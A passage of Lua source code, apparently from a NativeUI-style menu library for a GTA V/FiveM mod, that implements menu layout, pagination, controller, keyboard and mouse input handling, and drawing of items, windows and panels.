_UIMenu.Position.Y, 0.35, 245, 245, 245, 255, 0, "Right") + _UIMenu.Subtitle.ExtraY = 37 + end + + _UIMenu.ArrowSprite = Sprite.New("commonmenu", "shop_arrows_upanddown", 190 + _UIMenu.Position.X, 147 + 37 * (_UIMenu.Pagination.Total + 1) + _UIMenu.Position.Y - 37 + _UIMenu.Subtitle.ExtraY, 50, 50) + _UIMenu.Extra.Up = UIResRectangle.New(0 + _UIMenu.Position.X, 144 + 38 * (_UIMenu.Pagination.Total + 1) + _UIMenu.Position.Y - 37 + _UIMenu.Subtitle.ExtraY, 431, 18, 0, 0, 0, 200) + _UIMenu.Extra.Down = UIResRectangle.New(0 + _UIMenu.Position.X, 144 + 18 + 38 * (_UIMenu.Pagination.Total + 1) + _UIMenu.Position.Y - 37 + _UIMenu.Subtitle.ExtraY, 431, 18, 0, 0, 0, 200) + + _UIMenu.Description.Bar = UIResRectangle.New(_UIMenu.Position.X, 123, 431, 4, 0, 0, 0, 255) + _UIMenu.Description.Rectangle = Sprite.New("commonmenu", "gradient_bgd", _UIMenu.Position.X, 127, 431, 30) + _UIMenu.Description.Text = UIResText.New("Description", _UIMenu.Position.X + 5, 125, 0.35) + + _UIMenu.Background = Sprite.New("commonmenu", "gradient_bgd", _UIMenu.Position.X, 144 + _UIMenu.Position.Y - 37 + _UIMenu.Subtitle.ExtraY, 290, 25) + + CreateThread(function() + if not HasScaleformMovieLoaded(_UIMenu.InstructionalScaleform) then + _UIMenu.InstructionalScaleform = RequestScaleformMovie("INSTRUCTIONAL_BUTTONS") + while not HasScaleformMovieLoaded(_UIMenu.InstructionalScaleform) do + Wait(0) + end + end + end) + return setmetatable(_UIMenu, UIMenu) +end + +function UIMenu:SetMenuWidthOffset(Offset) + if tonumber(Offset) then + self.WidthOffset = math.floor(tonumber(Offset)) + self.Logo:Size(431 + self.WidthOffset, 107) + self.Title:Position(((self.WidthOffset + 431) / 2) + self.Position.X, 20 + self.Position.Y) + if self.Subtitle.Rectangle ~= nil then + self.Subtitle.Rectangle:Size(431 + self.WidthOffset + 100, 37) + self.PageCounter.Text:Position(425 + self.Position.X + self.WidthOffset, 110 + self.Position.Y) + end + if self.Banner ~= nil then + self.Banner:Size(431 + self.WidthOffset, 107) + end + end +end + +function UIMenu:DisEnableControls(bool) + if bool then + EnableAllControlActions(2) + else + DisableAllControlActions(2) + end + + if bool then + return + else + if Controller() then + for Index = 1, #self.Settings.EnabledControls.Controller do + EnableControlAction(self.Settings.EnabledControls.Controller[Index][1], self.Settings.EnabledControls.Controller[Index][2], true) + end + else + for Index = 1, #self.Settings.EnabledControls.Keyboard do + EnableControlAction(self.Settings.EnabledControls.Keyboard[Index][1], self.Settings.EnabledControls.Keyboard[Index][2], true) + end + end + end +end + +function UIMenu:InstructionalButtons(bool) + if bool ~= nil then + self.Settings.InstrucitonalButtons = tobool(bool) + end +end + +function UIMenu:SetBannerSprite(Sprite, IncludeChildren) + if Sprite() == "Sprite" then + self.Logo = Sprite + self.Logo:Size(431 + self.WidthOffset, 107) + self.Logo:Position(self.Position.X, self.Position.Y) + self.Banner = nil + if IncludeChildren then + for Item, Menu in pairs(self.Children) do + Menu.Logo = Sprite + Menu.Logo:Size(431 + self.WidthOffset, 107) + Menu.Logo:Position(self.Position.X, self.Position.Y) + Menu.Banner = nil + end + end + end +end + +function UIMenu:SetBannerRectangle(Rectangle, IncludeChildren) + if Rectangle() == "Rectangle" then + self.Banner = Rectangle + self.Banner:Size(431 + self.WidthOffset, 107) + self.Banner:Position(self.Position.X, self.Position.Y) + self.Logo = nil + if IncludeChildren then + for Item, Menu in pairs(self.Children) do + Menu.Banner = Rectangle + Menu.Banner:Size(431 + self.WidthOffset, 107) + Menu:Position(self.Position.X, self.Position.Y) + Menu.Logo = nil + end + end + end +end + +function UIMenu:CurrentSelection(value) + if tonumber(value) then + if #self.Items == 0 then + self.ActiveItem = 0 + end + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = 1000000 - (1000000 % #self.Items) + tonumber(value) + + if self:CurrentSelection() > self.Pagination.Max then + self.Pagination.Min = self:CurrentSelection() - self.Pagination.Total + self.Pagination.Max = self:CurrentSelection() + elseif self:CurrentSelection() < self.Pagination.Min then + self.Pagination.Min = self:CurrentSelection() + self.Pagination.Max = self:CurrentSelection() + self.Pagination.Total + end + else + if #self.Items == 0 then + return 1 + else + if self.ActiveItem % #self.Items == 0 then + return 1 + else + return self.ActiveItem % #self.Items + 1 + end + end + end +end + +function UIMenu:CalculateWindowHeight() + local Height = 0 + for i = 1, #self.Windows do + Height = Height + self.Windows[i].Background:Size().Height + end + return Height +end + +function UIMenu:CalculateItemHeightOffset(Item) + if Item.Base then + return Item.Base.Rectangle.Height + else + return Item.Rectangle.Height + end +end + +function UIMenu:CalculateItemHeight() + local ItemOffset = 0 + self.Subtitle.ExtraY - 37 + for i = self.Pagination.Min + 1, self.Pagination.Max do + local Item = self.Items[i] + if Item ~= nil then + ItemOffset = ItemOffset + self:CalculateItemHeightOffset(Item) + end + end + return ItemOffset +end + +function UIMenu:RecalculateDescriptionPosition() + local WindowHeight = self:CalculateWindowHeight() + self.Description.Bar:Position(self.Position.X, 149 + self.Position.Y + WindowHeight) + self.Description.Rectangle:Position(self.Position.X, 149 + self.Position.Y + WindowHeight) + self.Description.Text:Position(self.Position.X + 8, 155 + self.Position.Y + WindowHeight) + + self.Description.Bar:Size(431 + self.WidthOffset, 4) + self.Description.Rectangle:Size(431 + self.WidthOffset, 30) + + self.Description.Bar:Position(self.Position.X, self:CalculateItemHeight() + ((#self.Items > (self.Pagination.Total + 1)) and 37 or 0) + self.Description.Bar:Position().Y) + self.Description.Rectangle:Position(self.Position.X, self:CalculateItemHeight() + ((#self.Items > (self.Pagination.Total + 1)) and 37 or 0) + self.Description.Rectangle:Position().Y) + self.Description.Text:Position(self.Position.X + 8, self:CalculateItemHeight() + ((#self.Items > (self.Pagination.Total + 1)) and 37 or 0) + self.Description.Text:Position().Y) +end + +function UIMenu:CaclulatePanelPosition(HasDescription) + local Height = self:CalculateWindowHeight() + 149 + self.Position.Y + + if HasDescription then + Height = Height + self.Description.Rectangle:Size().Height + 5 + end + + return self:CalculateItemHeight() + ((#self.Items > (self.Pagination.Total + 1)) and 37 or 0) + Height +end + +function UIMenu:AddWindow(Window) + if Window() == "UIMenuWindow" then + Window:SetParentMenu(self) + Window:Offset(self.Position.X, self.Position.Y) + table.insert(self.Windows, Window) + self.ReDraw = true + self:RecalculateDescriptionPosition() + end +end + +function UIMenu:RemoveWindowAt(Index) + if tonumber(Index) then + if self.Windows[Index] then + table.remove(self.Windows, Index) + self.ReDraw = true + self:RecalculateDescriptionPosition() + end + end +end + +function UIMenu:AddItem(Item) + if Item() == "UIMenuItem" then + local SelectedItem = self:CurrentSelection() + Item:SetParentMenu(self) + Item:Offset(self.Position.X, self.Position.Y) + Item:Position((#self.Items * 25) - 37 + self.Subtitle.ExtraY) + table.insert(self.Items, Item) + self:RecalculateDescriptionPosition() + self:CurrentSelection(SelectedItem) + end +end + +function UIMenu:RemoveItemAt(Index) + if tonumber(Index) then + if self.Items[Index] then + local SelectedItem = self:CurrentSelection() + if #self.Items > self.Pagination.Total and self.Pagination.Max == #self.Items - 1 then + self.Pagination.Min = self.Pagination.Min - 1 + self.Pagination.Max = self.Pagination.Max + 1 + end + table.remove(self.Items, tonumber(Index)) + self:RecalculateDescriptionPosition() + self:CurrentSelection(SelectedItem) + end + end +end + +function UIMenu:RefreshIndex() + if #self.Items == 0 then + self.ActiveItem = 1000 + self.Pagination.Max = self.Pagination.Total + 1 + self.Pagination.Min = 0 + return + end + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = 1000 - (1000 % #self.Items) + self.Pagination.Max = self.Pagination.Total + 1 + self.Pagination.Min = 0 + self.ReDraw = true +end + +function UIMenu:Clear() + self.Items = {} + self.ReDraw = true + self:RecalculateDescriptionPosition() +end + +function UIMenu:MultilineFormat(str) + if tostring(str) then + + local PixelPerLine = 425 + self.WidthOffset + local AggregatePixels = 0 + local output = "" + local words = string.split(tostring(str), " ") + + for i = 1, #words do + local offset = MeasureStringWidth(words[i], 0, 0.35) + AggregatePixels = AggregatePixels + offset + if AggregatePixels > PixelPerLine then + output = output .. "\n" .. words[i] .. " " + AggregatePixels = offset + MeasureString(" ") + else + output = output .. words[i] .. " " + AggregatePixels = AggregatePixels + MeasureString(" ") + end + end + return output + end +end + +function UIMenu:DrawCalculations() + local WindowHeight = self:CalculateWindowHeight() + + if self.Settings.MultilineFormats then + if self.Subtitle.Rectangle and not self.Subtitle.Formatted then + self.Subtitle.Formatted = true + self.Subtitle.Text:Text(self:MultilineFormat(self.Subtitle.Text:Text())) + + local Linecount = #string.split(self.Subtitle.Text:Text(), "\n") + self.Subtitle.ExtraY = ((Linecount == 1) and 37 or ((Linecount + 1) * 22)) + self.Subtitle.Rectangle:Size(431 + self.WidthOffset, self.Subtitle.ExtraY) + end + elseif self.Subtitle.Formatted then + self.Subtitle.Formatted = false + self.Subtitle.ExtraY = 37 + self.Subtitle.Rectangle:Size(431 + self.WidthOffset, self.Subtitle.ExtraY) + self.Subtitle.Text:Text(self.Subtitle.BackupText) + end + + self.Background:Size(431 + self.WidthOffset, self:CalculateItemHeight() + WindowHeight + ((self.Subtitle.ExtraY > 0) and 0 or 37)) + + self.Extra.Up:Size(431 + self.WidthOffset, 18) + self.Extra.Down:Size(431 + self.WidthOffset, 18) + + self.Extra.Up:Position(self.Position.X, 144 + self:CalculateItemHeight() + self.Position.Y + WindowHeight) + self.Extra.Down:Position(self.Position.X, 144 + 18 + self:CalculateItemHeight() + self.Position.Y + WindowHeight) + + if self.WidthOffset > 0 then + self.ArrowSprite:Position(190 + self.Position.X + (self.WidthOffset / 2), 137 + self:CalculateItemHeight() + self.Position.Y + WindowHeight) + else + self.ArrowSprite:Position(190 + self.Position.X + self.WidthOffset, 137 + self:CalculateItemHeight() + self.Position.Y + WindowHeight) + end + + self.ReDraw = false + + if #self.Items ~= 0 and self.Items[self:CurrentSelection()]:Description() ~= "" then + self:RecalculateDescriptionPosition() + + local description = self.Items[self:CurrentSelection()]:Description() + if self.Settings.MultilineFormats then + self.Description.Text:Text(self:MultilineFormat(description)) + else + self.Description.Text:Text(description) + end + + local Linecount = #string.split(self.Description.Text:Text(), "\n") + self.Description.Rectangle:Size(431 + self.WidthOffset, ((Linecount == 1) and 37 or ((Linecount + 1) * 22))) + end +end + +function UIMenu:Visible(bool) + if bool ~= nil then + self._Visible = tobool(bool) + self.JustOpened = tobool(bool) + self.Dirty = tobool(bool) + self:UpdateScaleform() + if self.ParentMenu ~= nil or tobool(bool) == false then + return + end + if self.Settings.ResetCursorOnOpen then + local W, H = GetScreenResolution() + SetCursorLocation(W / 2, H / 2) + SetCursorSprite(1) + end + else + return self._Visible + end +end + +local paginationValue = 1 + +function UIMenu:ProcessControl() + if not self._Visible then + return + end + + if self.JustOpened then + self.JustOpened = false + return + end + + if self.Controls.Back.Enabled and (IsDisabledControlJustReleased(0, 177) or IsDisabledControlJustReleased(1, 177) or IsDisabledControlJustReleased(2, 177)) then + self:GoBack() + end + + if self.Controls.Back.Enabled and (IsDisabledControlJustReleased(0, 199) or IsDisabledControlJustReleased(1, 199) or IsDisabledControlJustReleased(2, 199)) and not tobool(Controller()) then + self:GoBack() + end + + -- If player is using keyboard, the control is alt + if (self.Controls.Increment.Enabled and (IsDisabledControlJustReleased(0, 19) or IsDisabledControlJustReleased(1, 19) or IsDisabledControlJustReleased(2, 19))) and not tobool(Controller()) then + if paginationValue == 1 then + paginationValue = 10 + else + paginationValue = 1 + end + PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true) + self:Visible(true) + end + + -- If player is using controller, the control index is 199 + if (self.Controls.Increment.Enabled and (IsDisabledControlJustReleased(0, 199) or IsDisabledControlJustReleased(1, 199) or IsDisabledControlJustReleased(2, 199))) and tobool(Controller()) then + if paginationValue == 1 then + paginationValue = 10 + else + paginationValue = 1 + end + PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true) + self:Visible(true) + end + + if #self.Items == 0 then + return + end + + if not self.UpPressed then + if self.Controls.Up.Enabled and (IsDisabledControlJustPressed(0, 172) or IsDisabledControlJustPressed(1, 172) or IsDisabledControlJustPressed(2, 172) or IsDisabledControlJustPressed(0, 241) or IsDisabledControlJustPressed(1, 241) or IsDisabledControlJustPressed(2, 241) or IsDisabledControlJustPressed(2, 241)) then + self.UpPressed = true + CreateThread(function() + if #self.Items > self.Pagination.Total + 1 then + self:GoUpOverflow() + else + self:GoUp() + end + self:UpdateScaleform() + Wait(120) + while self.Controls.Up.Enabled and (IsDisabledControlPressed(0, 172) or IsDisabledControlPressed(1, 172) or IsDisabledControlPressed(2, 172) or IsDisabledControlPressed(0, 241) or IsDisabledControlPressed(1, 241) or IsDisabledControlPressed(2, 241) or IsDisabledControlPressed(2, 241)) do + if #self.Items > self.Pagination.Total + 1 then + self:GoUpOverflow() + else + self:GoUp() + end + self:UpdateScaleform() + Wait(50) + end + self.UpPressed = false + end) + end + end + + if not self.DownPressed then + if self.Controls.Down.Enabled and (IsDisabledControlJustPressed(0, 173) or IsDisabledControlJustPressed(1, 173) or IsDisabledControlJustPressed(2, 173) or IsDisabledControlJustPressed(0, 242) or IsDisabledControlJustPressed(1, 242) or IsDisabledControlJustPressed(2, 242)) then + self.DownPressed = true + CreateThread(function() + if #self.Items > self.Pagination.Total + 1 then + self:GoDownOverflow() + else + self:GoDown() + end + self:UpdateScaleform() + Wait(120) + while self.Controls.Down.Enabled and (IsDisabledControlPressed(0, 173) or IsDisabledControlPressed(1, 173) or IsDisabledControlPressed(2, 173) or IsDisabledControlPressed(0, 242) or IsDisabledControlPressed(1, 242) or IsDisabledControlPressed(2, 242)) do + if #self.Items > self.Pagination.Total + 1 then + self:GoDownOverflow() + else + self:GoDown() + end + self:UpdateScaleform() + Wait(50) + end + self.DownPressed = false + end) + end + end + + if not self.LeftPressed then + if self.Controls.Left.Enabled and (IsDisabledControlPressed(0, 174) or IsDisabledControlPressed(1, 174) or IsDisabledControlPressed(2, 174)) then + self.LeftPressed = true + CreateThread(function() + self:GoLeft() + Wait(175) + while self.Controls.Left.Enabled and (IsDisabledControlPressed(0, 174) or IsDisabledControlPressed(1, 174) or IsDisabledControlPressed(2, 174)) do + self:GoLeft() + Wait(125) + end + self.LeftPressed = false + end) + end + end + + if not self.RightPressed then + if self.Controls.Right.Enabled and (IsDisabledControlPressed(0, 175) or IsDisabledControlPressed(1, 175) or IsDisabledControlPressed(2, 175)) then + self.RightPressed = true + CreateThread(function() + self:GoRight() + Wait(175) + while self.Controls.Right.Enabled and (IsDisabledControlPressed(0, 175) or IsDisabledControlPressed(1, 175) or IsDisabledControlPressed(2, 175)) do + self:GoRight() + Wait(125) + end + self.RightPressed = false + end) + end + end + + if self.Controls.Select.Enabled and (IsDisabledControlJustPressed(0, 201) or IsDisabledControlJustPressed(1, 201) or IsDisabledControlJustPressed(2, 201)) then + self:SelectItem() + end +end + + +function UIMenu:GoUpOverflow() + if self:CurrentSelection() < 10 then + paginationValue = 1 + end + + if #self.Items <= self.Pagination.Total + 1 then + return + end + + if self:CurrentSelection() <= self.Pagination.Min + 1 then + if self:CurrentSelection() == 1 then + self.Pagination.Min = #self.Items - (self.Pagination.Total + 1) + self.Pagination.Max = #self.Items + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = 1000 - (1000 % #self.Items) + self.ActiveItem = self.ActiveItem + (#self.Items - 1) + self.Items[self:CurrentSelection()]:Selected(true) + else + self.Pagination.Min = self.Pagination.Min - paginationValue + self.Pagination.Max = self.Pagination.Max - paginationValue + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = self.ActiveItem - paginationValue + self.Items[self:CurrentSelection()]:Selected(true) + end + else + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = self.ActiveItem - 1 + self.Items[self:CurrentSelection()]:Selected(true) + end + PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true) + self.OnIndexChange(self, self:CurrentSelection()) + self.ReDraw = true +end + +function UIMenu:GoUp() + if #self.Items > self.Pagination.Total + 1 then + return + end + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = self.ActiveItem - 1 + self.Items[self:CurrentSelection()]:Selected(true) + PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true) + self.OnIndexChange(self, self:CurrentSelection()) + self.ReDraw = true +end + +function UIMenu:GoDownOverflow() + if self:CurrentSelection() > (#self.Items - 10) then + paginationValue = 1 + end + + if #self.Items <= self.Pagination.Total + 1 then + return + end + + if self:CurrentSelection() >= self.Pagination.Max then + if self:CurrentSelection() == #self.Items then + self.Pagination.Min = 0 + self.Pagination.Max = self.Pagination.Total + 1 + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = 1000 - (1000 % #self.Items) + self.Items[self:CurrentSelection()]:Selected(true) + else + self.Pagination.Max = self.Pagination.Max + paginationValue + self.Pagination.Min = self.Pagination.Max - (self.Pagination.Total + 1) + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = self.ActiveItem + paginationValue + self.Items[self:CurrentSelection()]:Selected(true) + end + else + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = self.ActiveItem + 1 + self.Items[self:CurrentSelection()]:Selected(true) + end + PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true) + self.OnIndexChange(self, self:CurrentSelection()) + self.ReDraw = true +end + +function UIMenu:GoDown() + if #self.Items > self.Pagination.Total + 1 then + return + end + + self.Items[self:CurrentSelection()]:Selected(false) + self.ActiveItem = self.ActiveItem + 1 + self.Items[self:CurrentSelection()]:Selected(true) + PlaySoundFrontend(-1, self.Settings.Audio.UpDown, self.Settings.Audio.Library, true) + self.OnIndexChange(self, self:CurrentSelection()) + self.ReDraw = true +end + +function UIMenu:GoLeft() + local type, subtype = self.Items[self:CurrentSelection()]() + if subtype ~= "UIMenuListItem" and subtype ~= "UIMenuSliderItem" and subtype ~= "UIMenuProgressItem" then + return + end + + if not self.Items[self:CurrentSelection()]:Enabled() then + PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true) + return + end + + if subtype == "UIMenuListItem" then + local Item = self.Items[self:CurrentSelection()] + Item:Index(Item._Index - 1) + self.OnListChange(self, Item, Item._Index) + Item.OnListChanged(self, Item, Item._Index) + PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true) + elseif subtype == "UIMenuSliderItem" then + local Item = self.Items[self:CurrentSelection()] + Item:Index(Item._Index - 1) + self.OnSliderChange(self, Item, Item:Index()) + Item.OnSliderChanged(self, Item, Item._Index) + PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true) + elseif subtype == "UIMenuProgressItem" then + local Item = self.Items[self:CurrentSelection()] + Item:Index(Item.Data.Index - 1) + self.OnProgressChange(self, Item, Item.Data.Index) + Item.OnProgressChanged(self, Item, Item.Data.Index) + PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true) + end +end + +function UIMenu:GoRight() + local type, subtype = self.Items[self:CurrentSelection()]() + if subtype ~= "UIMenuListItem" and subtype ~= "UIMenuSliderItem" and subtype ~= "UIMenuProgressItem" then + return + end + + if not self.Items[self:CurrentSelection()]:Enabled() then + PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true) + return + end + + if subtype == "UIMenuListItem" then + local Item = self.Items[self:CurrentSelection()] + Item:Index(Item._Index + 1) + self.OnListChange(self, Item, Item._Index) + Item.OnListChanged(self, Item, Item._Index) + PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true) + elseif subtype == "UIMenuSliderItem" then + local Item = self.Items[self:CurrentSelection()] + Item:Index(Item._Index + 1) + self.OnSliderChange(self, Item, Item:Index()) + Item.OnSliderChanged(self, Item, Item._Index) + PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true) + elseif subtype == "UIMenuProgressItem" then + local Item = self.Items[self:CurrentSelection()] + Item:Index(Item.Data.Index + 1) + self.OnProgressChange(self, Item, Item.Data.Index) + Item.OnProgressChanged(self, Item, Item.Data.Index) + PlaySoundFrontend(-1, self.Settings.Audio.LeftRight, self.Settings.Audio.Library, true) + end +end + +function UIMenu:SelectItem() + if not self.Items[self:CurrentSelection()]:Enabled() then + PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true) + return + end + local Item = self.Items[self:CurrentSelection()] + local type, subtype = Item() + if subtype == "UIMenuCheckboxItem" then + Item.Checked = not Item.Checked + PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true) + self.OnCheckboxChange(self, Item, Item.Checked) + Item.CheckboxEvent(self, Item, Item.Checked) + elseif subtype == "UIMenuListItem" then + PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true) + self.OnListSelect(self, Item, self:CurrentSelection(), Item._Index) + Item.OnListSelected(self, Item, self:CurrentSelection(), Item._Index) + elseif subtype == "UIMenuSliderItem" then + PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true) + self.OnSliderSelect(self, Item, Item._Index) + Item.OnSliderSelected(Item._Index) + elseif subtype == "UIMenuProgressItem" then + PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true) + self.OnProgressSelect(self, Item, Item.Data.Index) + Item.OnProgressSelected(Item.Data.Index) + else + PlaySoundFrontend(-1, self.Settings.Audio.Select, self.Settings.Audio.Library, true) + self.OnItemSelect(self, Item, self:CurrentSelection()) + Item.Activated(self, Item) + if not self.Children[Item] then + return + end + self:Visible(false) + self.Children[Item]:Visible(true) + self.OnMenuChanged(self, self.Children[self.Items[self:CurrentSelection()]], true) + end +end + +function UIMenu:GoBack() + PlaySoundFrontend(-1, self.Settings.Audio.Back, self.Settings.Audio.Library, true) + self:Visible(false) + if self.ParentMenu ~= nil then + self.ParentMenu:Visible(true) + self.OnMenuChanged(self, self.ParentMenu, false) + if self.Settings.ResetCursorOnOpen then + local W, H = GetActiveScreenResolution() + SetCursorLocation(W / 2, H / 2) + end + end + self.OnMenuClosed(self) +end + +function UIMenu:BindMenuToItem(Menu, Item) + if Menu() == "UIMenu" and Item() == "UIMenuItem" then + Menu.ParentMenu = self + Menu.ParentItem = Item + self.Children[Item] = Menu + end +end + +function UIMenu:ReleaseMenuFromItem(Item) + if Item() == "UIMenuItem" then + if not self.Children[Item] then + return false + end + self.Children[Item].ParentMenu = nil + self.Children[Item].ParentItem = nil + self.Children[Item] = nil + return true + end +end + +function UIMenu:Draw() + if not self._Visible then + return + end + + HideHudComponentThisFrame(19) + + if self.Settings.ControlDisablingEnabled then + self:DisEnableControls(false) + end + + if self.Settings.InstructionalButtons then + DrawScaleformMovieFullscreen(self.InstructionalScaleform, 255, 255, 255, 255, 0) + end + + if self.Settings.ScaleWithSafezone then + ScreenDrawPositionBegin(76, 84) + ScreenDrawPositionRatio(0, 0, 0, 0) + end + + if self.ReDraw then + self:DrawCalculations() + end + + if self.Logo then + self.Logo:Draw() + elseif self.Banner then + self.Banner:Draw() + end + + self.Title:Draw() + + if self.Subtitle.Rectangle then + self.Subtitle.Rectangle:Draw() + self.Subtitle.Text:Draw() + end + + if #self.Items ~= 0 or #self.Windows ~= 0 then + self.Background:Draw() + end + + if #self.Windows ~= 0 then + local WindowOffset = 0 + for index = 1, #self.Windows do + if self.Windows[index - 1] then + WindowOffset = WindowOffset + self.Windows[index - 1].Background:Size().Height + end + local Window = self.Windows[index] + Window:Position(WindowOffset + self.Subtitle.ExtraY - 37) + Window:Draw() + end + end + + if #self.Items == 0 then + if self.Settings.ScaleWithSafezone then + ScreenDrawPositionEnd() + end + return + end + + local CurrentSelection = self:CurrentSelection() + self.Items[CurrentSelection]:Selected(true) + + if self.Items[CurrentSelection]:Description() ~= "" then + self.Description.Bar:Draw() + self.Description.Rectangle:Draw() + self.Description.Text:Draw() + end + + if self.Items[CurrentSelection].Panels ~= nil then + if #self.Items[CurrentSelection].Panels ~= 0 then + local PanelOffset = self:CaclulatePanelPosition(self.Items[CurrentSelection]:Description() ~= "") + for index = 1, #self.Items[CurrentSelection].Panels do + if self.Items[CurrentSelection].Panels[index - 1] then + PanelOffset = PanelOffset + self.Items[CurrentSelection].Panels[index - 1].Background:Size().Height + 5 + end + self.Items[CurrentSelection].Panels[index]:Position(PanelOffset) + self.Items[CurrentSelection].Panels[index]:Draw() + end + end + end + + local WindowHeight = self:CalculateWindowHeight() + + if #self.Items <= self.Pagination.Total + 1 then + local ItemOffset = self.Subtitle.ExtraY - 37 + WindowHeight + for index = 1, #self.Items do + Item = self.Items[index] + Item:Position(ItemOffset) + Item:Draw() + ItemOffset = ItemOffset + self:CalculateItemHeightOffset(Item) + end + else + local ItemOffset = self.Subtitle.ExtraY - 37 + WindowHeight + for index = self.Pagination.Min + 1, self.Pagination.Max, 1 do + if self.Items[index] then + Item = self.Items[index] + Item:Position(ItemOffset) + Item:Draw() + ItemOffset = ItemOffset + self:CalculateItemHeightOffset(Item) + end + end + + self.Extra.Up:Draw() + self.Extra.Down:Draw() + self.ArrowSprite:Draw() + + if self.PageCounter.Text ~= nil then + local Caption = self.PageCounter.PreText .. CurrentSelection .. " / " .. #self.Items + self.PageCounter.Text:Text(Caption) + self.PageCounter.Text:Draw() + end + end + + if self.Settings.ScaleWithSafezone then + ScreenDrawPositionEnd() + end +end + +function UIMenu:ProcessMouse() + if not self._Visible or self.JustOpened or #self.Items == 0 or tobool(Controller()) or not self.Settings.MouseControlsEnabled then + EnableControlAction(0, 2, true) + EnableControlAction(0, 1, true) + EnableControlAction(0, 25, true) + EnableControlAction(0, 24, true) + if self.Dirty then + for _, Item in pairs(self.Items) do + if Item:Hovered() then + Item:Hovered(false) + end + end + end + return + end + + local SafeZone = { X = 0, Y = 0 } + local WindowHeight = self:CalculateWindowHeight() + if self.Settings.ScaleWithSafezone then + SafeZone = GetSafeZoneBounds() + end + + local Limit = #self.Items + local ItemOffset = 0 + + ShowCursorThisFrame() + + if #self.Items > self.Pagination.Total + 1 then + Limit = self.Pagination.Max + end + + if IsMouseInBounds(0, 0, 30, 1080) and self.Settings.MouseEdgeEnabled then + SetGameplayCamRelativeHeading(GetGameplayCamRelativeHeading() + 5) + SetCursorSprite(6) + elseif IsMouseInBounds(1920 - 30, 0, 30, 1080) and self.Settings.MouseEdgeEnabled then + SetGameplayCamRelativeHeading(GetGameplayCamRelativeHeading() - 5) + SetCursorSprite(7) + elseif self.Settings.MouseEdgeEnabled then + SetCursorSprite(1) + end + + for i = self.Pagination.Min + 1, Limit, 1 do + local X, Y = self.Position.X + SafeZone.X, self.Position.Y + 144 - 37 + self.Subtitle.ExtraY + ItemOffset + SafeZone.Y + WindowHeight + local Item = self.Items[i] + local Type, SubType = Item() + local Width, Height = 431 + self.WidthOffset, self:CalculateItemHeightOffset(Item) + + if IsMouseInBounds(X, Y, Width, Height) then + Item:Hovered(true) + if not self.Controls.MousePressed then + if IsDisabledControlJustPressed(0, 24) then + CreateThread(function() + local _X, _Y, _Width, _Height = X, Y, Width, Height + self.Controls.MousePressed = true + if Item:Selected() and Item:Enabled() then + if SubType == "UIMenuListItem" then + if IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then + self:GoLeft() + elseif not IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then + self:SelectItem() + end + if IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then + self:GoRight() + elseif not IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then + self:SelectItem() + end + elseif SubType == "UIMenuSliderItem" then + if IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then + self:GoLeft() + elseif not IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then + self:SelectItem() + end + if IsMouseInBounds(Item.RightArrow.X + SafeZone.X, Item.RightArrow.Y + SafeZone.Y, Item.RightArrow.Width, Item.RightArrow.Height) then + self:GoRight() + elseif not IsMouseInBounds(Item.LeftArrow.X + SafeZone.X, Item.LeftArrow.Y + SafeZone.Y, Item.LeftArrow.Width, Item.LeftArrow.Height) then + self:SelectItem() + end + elseif SubType == "UIMenuProgressItem" then + if IsMouseInBounds(Item.Bar.X + SafeZone.X, Item.Bar.Y + SafeZone.Y - 12, Item.Data.Max, Item.Bar.Height + 24) then + Item:CalculateProgress(math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X) + self.OnProgressChange(self, Item, Item.Data.Index) + Item.OnProgressChanged(self, Item, Item.Data.Index) + else + self:SelectItem() + end + else + self:SelectItem() + end + elseif not Item:Selected() then + self:CurrentSelection(i - 1) + PlaySoundFrontend(-1, self.Settings.Audio.Error, self.Settings.Audio.Library, true) + self.OnIndexChange(self, self:CurrentSelection()) + self.ReDraw = true + self:UpdateScaleform() + elseif not Item:Enabled() and Item:Selected() then + PlaySoundFrontend(-1, 